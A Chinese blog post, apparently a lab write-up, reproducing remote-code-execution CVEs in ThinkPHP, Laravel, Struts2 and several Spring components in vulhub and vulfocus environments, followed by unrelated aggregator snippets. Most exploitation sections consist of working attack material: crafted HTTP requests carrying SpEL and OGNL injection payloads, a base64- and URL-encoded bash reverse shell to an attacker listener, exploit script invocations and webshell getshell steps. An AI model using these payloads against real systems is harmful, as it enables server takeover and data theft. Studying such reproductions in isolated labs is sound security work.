当前位置: 首页 > news >正文

框架安全-CVE 复现SpringStrutsLaravelThinkPHP漏洞复现

目录

  • 服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP
    • 概述
    • PHP-开发框架安全-Thinkphp&Laravel
      • 漏洞复现
        • Thinkphp-3.X RCE
        • Thinkphp-5.X RCE
        • Laravel框架安全问题- CVE-2021-3129 RCE
    • JAVAWEB-开发框架安全-Spring&Struts2
      • Struts2框架安全
        • 漏洞复现
          • S2-009 远程执行代码漏洞
          • CVE-2017-5638(struts2-045 远程代码执行)
          • CVE-2020-17530 代码执行
          • CVE-2021-31805 远程代码执行
      • JAVAWEB-开发框架安全-Spring框架
        • 漏洞复现
          • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
          • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
          • Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)
          • Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)

服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP

概述

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

PHP-开发框架安全-Thinkphp&Laravel

详解:Thinkphp详解

详解:Laravel详解

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以从面条一样杂乱的代码中解脱出来;它可以构建网络APP,而且每行代码都可以简洁、富于表达力。

安全问题:

Thinkphp-3.X RCE

Thinkphp-5.X RCE

CVE-2021-3129 RCE

特征:

利用前可先判断其开发框架,通过浏览器插件,或者数据包信息内容等进行判断是什么开发框架。判断方式很多。

"十年磨一剑"是ThinkPHP的特征之一,出现图标,倒立微笑的笑脸也是特征之一。

漏洞复现

Thinkphp-3.X RCE

靶场:vulfocus

开启环境:

image-20231026115953124

漏洞利用:

可直接放入到工具当中进行检测,一键利用即可

image-20231026120126461

命令执行RCE:

image-20231026120644685

payload:
http://192.168.100.134:24566//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_10_26.log

查看:

image-20231026120236352

还可以进行getshell,找到路径,一键getshell:

image-20231026120839699

直接可getshell:

image-20231026120859548

然后使用蚁剑连接即可:

成功连接:

image-20231026120755244

日志泄露:

Payload: 
http://192.168.100.134:24566//Application/Runtime/Logs/Admin/23_10_26.log

查看:

image-20231026120338476

工具在github搜索即可,有很多,遇到不好用的也正常。(利用简单[工具点一点就可以~],发现该系列漏洞,危害较大。)以下也是同理。

Thinkphp-5.X RCE

ThinkPHP是在中国使用非常广泛的PHP开发框架。在其版本 5 中,由于框架错误地处理控制器名称,如果网站未启用强制路由(这是默认),它可以执行任何方法,从而导致 RCE 漏洞。

靶场:vulhub

参考:Thinkphp5 5.0.22/5.1.29 远程执行代码漏洞

image-20231026114919494

开启环境:

image-20231026114904874

访问靶场:

image-20231026114939462

漏洞利用:

利用方式和以上一致,直接利用成熟的工具即可。

利用前可先判断其开发框架,通过浏览器插件,或者数据包信息内容等进行判断是什么开发框架。

"十年磨一剑"是ThinkPHP的特征之一,微笑的笑脸也是特征。

直接将url信息内容,抛到工具当中:

image-20231026115504416

输入利用的漏洞编号,利用即可:

命令执行RCE:

image-20231026115605392

getshell:

image-20231026115704703

通过蚁剑进行连接:

连接添加成功:

image-20231026115758369

Laravel框架安全问题- CVE-2021-3129 RCE

详解:Laravel详解

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以从面条一样杂乱的代码中解脱出来;它可以构建网络APP,而且每行代码都可以简洁、富于表达力。

靶场:vulfocus

漏洞描述:

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行

开启靶场:

image-20231026220058479

访问:

image-20231026220128843

漏洞利用:

github搜索漏洞编号CVE-2021-3129,查找相关exp下载利用即可

exp地址:CVE-2021-3129EXP

python laravel-CVE-2021-3129-EXP.py http://192.168.100.134:29972

直接利用即可,getshell:

image-20231026220512695

哥斯拉链接即可。

利用相对简单,使用现成熟的脚步或工具即可。github上搜索即可。

JAVAWEB-开发框架安全-Spring&Struts2

Struts2框架安全

Struts2介绍:

详解:Struts2框架

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

框架特点:

1、一般st2框架开发的网站,url上会有.action或.do后缀的文件名,比如:

http://192.168.xx.xx/integration/editGangster.action

http://192.168.xxx.xxx:8080/login.action

方法1可能不准确,因为spring框架或jboss系统有时候也存在.do结尾的文件名。

2、在相关接口追加actionErrors参数,通过网站页面的回显错误消息来判断。

3、默认情况下,st2框架中存在http://192.168.xXx/struts/webconsole.html这个默认文件。

4、抓包,看包中Content–Type字段的开头是否形如%{#x=[‘XXX’]

方法4仅限于st2-045框架漏洞

此Struts2系列漏洞现有成熟工具,判别出特征,直接利用即可。

较新的漏洞可能工具不支持。

漏洞复现

以struts2系列之一为例:

S2-009 远程执行代码漏洞

靶场:vulhub

参考:s2-009

开启环境:

image-20231026224915812

访问:

发现明显的struts2特征

image-20231026224936446

直接放到工具当中进行检测:

image-20231026225118548

image-20231026225404284

一键利用,命令执行:

image-20231026225106047

工具可在github上搜索,有很多。不排除有不好用的。

CVE-2017-5638(struts2-045 远程代码执行)

漏洞复现:struts2-045 远程代码执行漏洞CVE-2017-5638

CVE-2020-17530 代码执行

struts2 代码执行 (CVE-2020-17530)

描述:

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成任意代码执行

靶场:vulfocus

开启环境:

image-20231026231016044

访问:

image-20231026231200889

可使用工具检测:

image-20231026231258136

使用EXP脚本也可以,漏洞比较新,可能一些工具不支持,无法检测,利用。

github上搜索漏洞编号,使用即可。

工具地址:CVE-2020-17530EXP

工具使用:

python struts2-061-poc.py http://192.168.100.134:34952 "执行的命令"

image-20231026231736225

反弹shell:

python2 S2-061-shell.py http://192.168.100.134:34952

反弹成功

image-20231026232101801

CVE-2021-31805 远程代码执行

远程代码执行漏洞-CVE-2021-31805

影响范围:Apache Struts 2.0.0-2.5.29

靶场:vulfocus

开启并访问。

漏洞利用EXP,可直接去github上搜索编号,下载利用即可。

EXP地址:s2-062EXP

image-20231027000102876

修复:升级即可。

JAVAWEB-开发框架安全-Spring框架

spring框架安全

Spring框架是由于软件开放复杂性而创建的。框架下有很多子分支,披露了很多安全问题。
特征:小绿叶图标

spring框架介绍:

详解:spring开源框架

Spring框架是一个开放源代码的J2EE应用程序框架,由Rod Johnson发起,是针对bean的生命周期进行管理的轻量级容器(lightweight container)。 Spring解决了开发者在J2EE开发中遇到的许多常见的问题,提供了功能强大IOC、AOP及Web MVC等功能。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合使用,并且可以与 Swing等桌面应用程序AP组合。因此, Spring不仅仅能应用于J2EE应用程序之中,也可以应用于桌面应用程序以及小应用程序之中。Spring框架主要由七部分组成,分别是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC。

安全问题:

CVE-2017-4971

CVE-2018-1273

CVE-2022-22947

CVE-2022-22963

漏洞复现
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

介绍:

Spring Data 项目的目的是为了简化构建基于 Spring 框架应用的数据访问计数,包括非关系数据库、Map-Reduce 框架、云数据服务等等;另外也包含对关系数据库的访问支持。

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

靶场:vulhub

开启环境:

image-20231027113744542

访问:

特征:小绿叶图标

image-20231027113849326

注册用户信息:

image-20231027114052799

当注册用户时,burp抓包:

image-20231027115625856

修改数据包信息

payload:
......
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

数据包内容:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 uacq
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.100.134:8080
Connection: close
Referer: http://192.168.100.134:8080/users?page=0&size=5
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "macOS"
sec-ch-ua: "Google Chrome";v="112", "Chromium";v="112", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /123.txt")]=&password=&repeatedPassword=

image-20231027140449715

进入靶场,验证是否创建成功:

//查看环境id
docker ps
//进入环境
docker exec -it 环境id /bin/bash

创建成功:

image-20231027115837218

image-20231027140532133

反弹shell:

细节问题:需要URL编码

先将反弹shell命令进行base64编码

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1base64编码:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

image-20231027155039450

数据包当中观察:

content-type的值有urlencode,所以可能会进行编码才行。

编码原因:请求头部的信息或方式的原因,需要编码。

image-20231027155114068

将反弹shell命令URL编码后,再次发送:

image-20231027154943842

成功反弹shell,并执行命令:

image-20231027155308846

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

详解:Spring Web Flow详解

pring Web Flow (SWF) 是Spring Framework的一个脱离模块。这个模块是Spring Web应用开发模块栈的一部分,Spring Web包含Spring MVC。Spring Web Flow 的目标是成为管理Web应用页面流程的最佳方案。当你的应用需要复杂的导航控制,例如向导,在一个比较大的事务过程中去指导用户经过一连串的步骤的时候,SWF将会是一个功能强大的控制器。

靶场:vulhub

参考:Spring WebFlow 漏洞复现-CVE-2017-4971

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

image-20231027141318140

开启环境:

image-20231027142606770

访问web界面:

image-20231027141211454

接下来访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统:

image-20231027141429583

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

image-20231027141547526

下一步:

image-20231027141624650

下一步:

image-20231027141727410

使用burp进行抓包:

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)

获取的数据包:

image-20231027141811611

修改后数据包添加数据内容:

payload:

//_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/攻击端ip/监听端口 0>&1")).start()=vulhub......
_eventId_confirm=&_csrf=96117c67-2c77-4054-970a-d2644c9be1f2&_(new java.lang.ProcessBuilder("bash","-c","%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%2f%38%38%38%38%20%30%3e%26%31")).start()=vulhub//注意反弹shell命令进行url编码,否则无法反弹

image-20231027142225503

进行URL编码:

image-20231027142428426

反弹成功:
image-20231027142256466

Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)

详解:spring cloud详解

Spring Cloud Function提供了一个通用模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的FaaS(功能即服务)平台。

靶场:vulhub

参考:CVE-2022-22963漏洞复现

image-20231027163737069

开启环境:

image-20231027165554660

访问web界面:

image-20231027165617292

服务器启动后,执行您可以将用户输入转换为大写。

命令:
curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test

image-20231027165719447

抓取数据包:

请求标头中有一个 SpEL 表达式注入。

添加内容:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("需要执行的命令")//完整数据包:
POST /functionRouter HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10asdasdasdd

成功执行:

验证:

docker-compose exec spring /bin/bash

image-20231027165858297

反弹shell:

成功反弹

image-20231027170122703

Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)

介绍:

SpringCloud GateWay 详解

Spring Cloud Gateway是Spring Cloud生态系统中的一部分,它是一个基于Spring Framework 5,Spring Boot 2和Project Reactor等技术开发的全新的API网关服务器。它旨在提供一种简单而有效的方式来路由到API,提供过滤器,以及在执行请求和响应之间的操作。

Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。

在 3.1.0 和 3.0.6 之前版本中使用 Spring Cloud Gateway 的应用程序,在启用、暴露和不安全网关执行器端点时容易受到代码注入攻击。远程攻击者可发出恶意构建的请求,允许在远程主机上任意远程执行。

靶场:vulhub

参考:CVE-2022-22947漏洞复现

image-20231027171003344

开启环境:

访问web界面:
image-20231027171221229

第一步,发送以下请求以添加包含恶意 SpEL 表达式的路由器:

//发送post请求,进行抓包:
//数据包内容:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

执行后:

image-20231027171523175

然后,刷新网关。

SpEL 表达式将在此步骤中执行:

//数据包内容:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

执行后:
image-20231027172701484

第三,发送以下请求,进行命令执行:

注意为:请求方式为GET请求

//请求数据包内容:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

image-20231027172919550

最后,发送一个删除请求来删除我们的恶意路由器:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
......

发送数据包即可:
image-20231027173229692

再次刷新网关:

POST /actuator/gateway/refresh HTTP/1.1
......

image-20231027173422439

方式二:使用工具直接利用

工具地址:SpringBootExploit

将目标URL抛到工具当中去,检测:

直接利用即可

image-20231028220324465

根据工具,经过测试验证,命令执行:

image-20231028220417372

image-20231028220444083

端点信息:

image-20231028220531015

相关文章:

框架安全-CVE 复现SpringStrutsLaravelThinkPHP漏洞复现

目录 服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP概述PHP-开发框架安全-Thinkphp&Laravel漏洞复现Thinkphp-3.X RCEThinkphp-5.X RCELaravel框架安全问题- CVE-2021-3129 RCE JAVAWEB-开发框架安全-Spring&Struts2Struts2框架安全…...

【腾讯云 HAI域探秘】宝妈也能快速入门AI绘画

活动背景 本次活动是由腾讯云和CSDN联合推出的开发者技术实践活动。我通过技术交流直播、动手实验、征文等形式,深入沉浸式体验腾讯云高性能应用服务 HAI。从活动中汲取到技术上的精华。在本次活动中,只要完成各个环节任务,不仅可以参与 AIGC…...

归并排序,自顶向下

归并排序主要两步,一步是划分区间,另一步是合并两个区间 这个算法的稳定性更好,对比快排这种,如果整体是倒序的话,快排的复杂度会达到o(n^2),归并会更稳定。 划分区间主要是递归去实现,下面给…...

【案例】3D地球(vue+three.js)

需要下载插件 <template><div class"demo"><div id"container" ref"content"></div></div> </template> <script> import * as THREE from three; // import mapJSON from ../map.json; import { Or…...

C语言中float byte char uint_8 转换方法

1.float转Byte[] #include <stdio.h>int main() {float floatValue 3.141592; // 浮点数值// 存储到字节数组unsigned char *byteArr (unsigned char *)&floatValue;// 打印字节数组for (int i 0; i < sizeof(float); i) {printf("Byte %d: 0x%02X\n&q…...

瑞明达:脚踏实地,为实体经济贡献“瑞明达”力量

实体经济是指以实际物质生产和经营为主要特征的经济形态&#xff0c;是经济发展的基础和主体。瑞明达团队一直关注着实体经济的发展&#xff0c;也在不断探索如何运用科技手段和管理经验助力实体经济的发展。团队将从几个方面介绍瑞明达团队的看法和实践经验。 实体经济在国家经…...

ChatGPT-自然语言处理模型

前言 GPT&#xff08;Generative Pre-trained Transformer&#xff09;是一种自然语言处理模型&#xff0c;具有强大的文本生成和理解能力。 使用场景 它可以用于各种场景&#xff0c;包括但不限于&#xff1a; 1. 自动文本生成&#xff1a;GPT可以生成连贯、流畅的文章、故…...

Apache Dolphinscheduler如何不重启解决Master服务死循环

个人建议 Apache Dolphinscheduler作为一个开源的调度平台&#xff0c;目前已经更新到了3.X版本&#xff0c;4.0版本也已经呼之欲出。3.0版本作为尝鲜版本&#xff0c;新添加了许多的功能&#xff0c;同时也存在非常多的隐患&#xff0c;本人使用3.0版本作为生产调度也踩了很多…...

绝对好用!一个浏览器插件解决跨设备同步问题,吊打文件传输助手!

在数字化的时代&#xff0c;我们所接触的信息呈现指数级的增长。无论是办公资料、学习资源&#xff0c;还是各种生活中的点滴&#xff0c;所有这些信息以各种形式——文本、图片、视频、音乐等——出现在我们面前&#xff0c;如何有效地同步和管理这些内容成为一个挑战。 就跨…...

阿昌教你如何优雅的数据脱敏

阿昌教你如何优雅的数据脱敏 Hi&#xff0c;我是阿昌&#xff0c;最近有一个数据脱敏的需求&#xff0c;要求用户可自定义配置数据权限&#xff0c;并对某种类型数据进行脱敏返回给前端 一、涉及知识点 SpringMVCJava反射Java自定义注解Java枚举 二、方案选择 1、需求要求…...

力扣每日一题80:删除有序数组中的重复项||

题目描述&#xff1a; 给你一个有序数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使得出现次数超过两次的元素只出现两次 &#xff0c;返回删除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的…...

SQL——插入已经存在的数据

现在有一套ID为9003的高难度SQL试卷&#xff0c;时长为一个半小时&#xff0c;请你将 2021-01-01 00:00:00 作为发布时间插入到试题信息表examination_info&#xff08;其表结构如下图&#xff09;&#xff0c;不管该ID试卷是否存在&#xff0c;都要插入成功&#xff0c;请尝试…...

【网络安全 --- 任意文件上传漏洞靶场闯关 6-15关】任意文件上传漏洞靶场闯关,让你更深入了解文件上传漏洞以及绕过方式方法,思路技巧

一&#xff0c;工具资源下载 百度网盘资源下载链接地址&#xff1a; 百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固&#xff0c;支持教育网加速&#xff0c;支持手机端。注册使用百度网盘即可享受免费存储空间https://pan…...

阿里云2核2G3M云服务器99元/年,新老同享,续费不涨价!

2023年阿里云双11活动正在火热进行中&#xff0c;推出了一款面向个人开发者、学生、小微企业的年度爆款套餐&#xff0c;2核2G3M云服务器99元/年&#xff0c;新老同享&#xff0c;续费不涨价&#xff01; 一、活动入口 活动地址&#xff1a;传送门>>> 二、活动详情 …...

UWB 技术在机器人和移动领域的应用题】

多年来&#xff0c;机器人生态系统不断增长&#xff0c;不同的应用程序也在不断增长。如今&#xff0c;机器人出现在许多不同的领域&#xff0c;例如私人家庭、商业场所、仓库和医疗场所。他们要么自主工作&#xff0c;要么与我们并肩工作&#xff0c;帮助我们完成任务。 根据…...

11.1 知识总结(JavaScript)

一、 ECMAScript的历史 年份 名称 描述 1997 ECMAScript 1 第一个版本 1998 ECMAScript 2 版本变更 1999 ECMAScript 3 添加正则表达式 添加try/catch ECMAScript 4 没有发布 2009 ECMAScript 5 添加"strict mode"严格模式 添加JSON支持 2011 EC…...

【Java 进阶篇】Java Web开发:实现验证码功能

在Web应用程序中&#xff0c;验证码&#xff08;CAPTCHA&#xff09;是一种常见的安全工具&#xff0c;用于验证用户是否为人类而不是机器。验证码通常以图像形式呈现&#xff0c;要求用户在登录或注册时输入正确的字符。在这篇文章中&#xff0c;我们将详细介绍如何在Java Web…...

C++启动线程的方法

&#xff08;1&#xff09;函数指针 情况一&#xff1a;主线程有join&#xff0c;正常执行 #include <thread> #include <iostream>void work(int num) {while(num-- > 0) {std::cout << num << std::endl;} }int main() {std::thread t(work, 5);…...

Distilling the Knowledge in a Neural Network学习笔记

1.主要内容是什么&#xff1a; 这篇论文介绍了一种有效的知识迁移方法——蒸馏&#xff0c;可以将大型模型中的知识转移到小型模型中&#xff0c;从而提高小型模型的性能。这种方法在实际应用中具有广泛的潜力&#xff0c;并且可以应用于各种不同的任务和领域。 论文中首先介绍…...

JVM虚拟机:垃圾回收算法和垃圾回收器之间的关系

GC垃圾回收算法 在前面的课程中我们学习了GC垃圾回收算法,分别为: 引用回收算法 复制算法 标记清除算法 标记整理算法 这些垃圾回收算法是理论,有多种垃圾回收器可以实现这些理论。目前为止没有最完美的垃圾回收器,只能针对具体的情况选择最合适的垃圾回收器,进行分代收集…...

【Python】 -- 趣味代码 - 小恐龙游戏

文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

23-Oracle 23 ai 区块链表(Blockchain Table)

小伙伴有没有在金融强合规的领域中遇见&#xff0c;必须要保持数据不可变&#xff0c;管理员都无法修改和留痕的要求。比如医疗的电子病历中&#xff0c;影像检查检验结果不可篡改行的&#xff0c;药品追溯过程中数据只可插入无法删除的特性需求&#xff1b;登录日志、修改日志…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

【大模型RAG】Docker 一键部署 Milvus 完整攻略

本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装&#xff1b;只需暴露 19530&#xff08;gRPC&#xff09;与 9091&#xff08;HTTP/WebUI&#xff09;两个端口&#xff0c;即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...

Linux云原生安全:零信任架构与机密计算

Linux云原生安全&#xff1a;零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言&#xff1a;云原生安全的范式革命 随着云原生技术的普及&#xff0c;安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测&#xff0c;到2025年&#xff0c;零信任架构将成为超…...

C++.OpenGL (10/64)基础光照(Basic Lighting)

基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

算法笔记2

1.字符串拼接最好用StringBuilder&#xff0c;不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...